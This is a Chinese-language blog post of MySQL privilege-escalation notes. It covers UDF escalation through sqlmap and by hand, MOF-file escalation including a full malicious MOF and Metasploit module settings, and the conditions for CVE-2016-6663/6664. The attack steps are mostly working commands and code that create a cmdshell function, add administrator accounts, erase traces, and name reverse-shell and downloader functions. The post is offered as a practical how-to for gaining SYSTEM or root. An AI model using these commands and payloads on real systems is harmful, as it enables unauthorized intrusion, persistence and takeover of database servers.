前言:
不要为了读文章而读文章,一定要带着问题来读文章,勤思考。
很多年前的文章了,整理和分享做个记录写在博客.
UDF提权
关于UDF提权,也是现在比较常见的MySQL类提权方式之一。它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!
在开始进行UDF提权前,我们有必要先了解下提权对象的系统版本及MySQL数据库的版本信息。因为对于不同的版本,操作手法也不近相同!
自动提权udf(sqlmap):
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql"
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql" --os-shell
报错
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed
是我没有安装Python连接Mysql用的第三方库python-pymysql
解决方法:
git clone https://github.com/petehunt/PyMySQL/ cd PyMySQL/ sudo python setup.py install
最后
安装好python-pymysql后再执行命令: python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql"
手工提权
步骤:
1.看路径、版本 2.写dll到mysql文件夹里面 3.创建函数 4.执行命令提权
用到的命令:
select @@datadir 查看路径
select @@version 查看版本
windows下udf提权的条件
< 数据库版本为 5.0:
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导出到 C:\Winnt\udf.dll 下。
如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。
> 数据库版本为 5.1:
我们则需要将 dll 文件导出到 mysql 安装目录的 lib\plugin\ 下,
才能创建自定义函数。注:如果没有 plugin 目录,我们可以进行手动创建!
一般Lib、Plugin文件夹需要手工建立(可用流模式突破进而创建文件夹)
使用NTFS ADS流创建lib、plugin文件夹:
某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办?利用NTFS ADS流来创建文件夹的方法
select @@basedir; //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录,It is dll 以 hex 方式写入
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。
dll的写入:
1. select "hex()" //16进制写入
2. webshell方式导入
udf.dll 来源(此dll用在webshell上传用):
sqlmap 目录有udf.dll(异或过,需解码):
/sqlmap/data/udf/mysql/windows/(dll路径)
sqlmap解码工具:
/sqlmap/extra/cloak/cloak.py
- 用法: python cloak.py -d -i /sqlmap/data/udf/mysql/windows/xx.dll(解码后会在当前路径生成)
直接执行
1. create function cmdshell returns string soname 'xx.dll'; 创建 cmdshell 调用函数(变成了system权限)
2. select cmdshell('net user admin admin /add'); 添加用户
3. select cmdshell('net localgroup administrators admin /add'); 将用户加到管理组
擦除痕迹:
drop function sys_eval;
常用函数名:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
报错
udf导出失败
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
解决方法:
在my.ini文件内加入secure_file_priv = '/'
mof提权
mof提权的原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
mof自动提权:
Msf直接mof提权
use exploit/windows/mysql/mysql_mof
setrhost 192.168.157.1 #设置需要提权的远程主机IP地址
setrport 3306 #设置mysql的远程端口
setpasswordroot #设置mysql数据库root密码
setusername root #设置mysql用户名
options #查看设置
run 0
手动mof提权的过程:
上传mof到可写目录
移动mof到c:/windows/system32/wbem/mof/nullevt.mof替换系统的mof文件
自动提权成功
上传mof到可写目录
找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
执行load_file及into dumpfile把文件导出到正确的位置
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
执行成功,查看用户(net user)
一个MySQL自动化提权工具:Github链接
CVE提权:
CVE-2016-6663和CVE-2016-6664
上面两种方式条件都太过严苛,应对一些新的系统就没有用武之地了,所以再介绍一下利用下面两个CVE配合起来提权的方式,相对需求条件要宽松的多,很多情况都可以成功提权。
CVE-2016-6663
CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。
CVE-2016-6664
CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。
导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。
可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限
CVE-2016-6663利用条件
1.已经getshell,获得www-data权限
2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码
3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权
4.Mysql<5.5.51或<5.6.32或<5.7.14
CVE-2016-6664利用条件
1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)
2.需要在mysql权限下运行才能利用
3.Mysql<5.5.51或<5.6.32或<5.7.14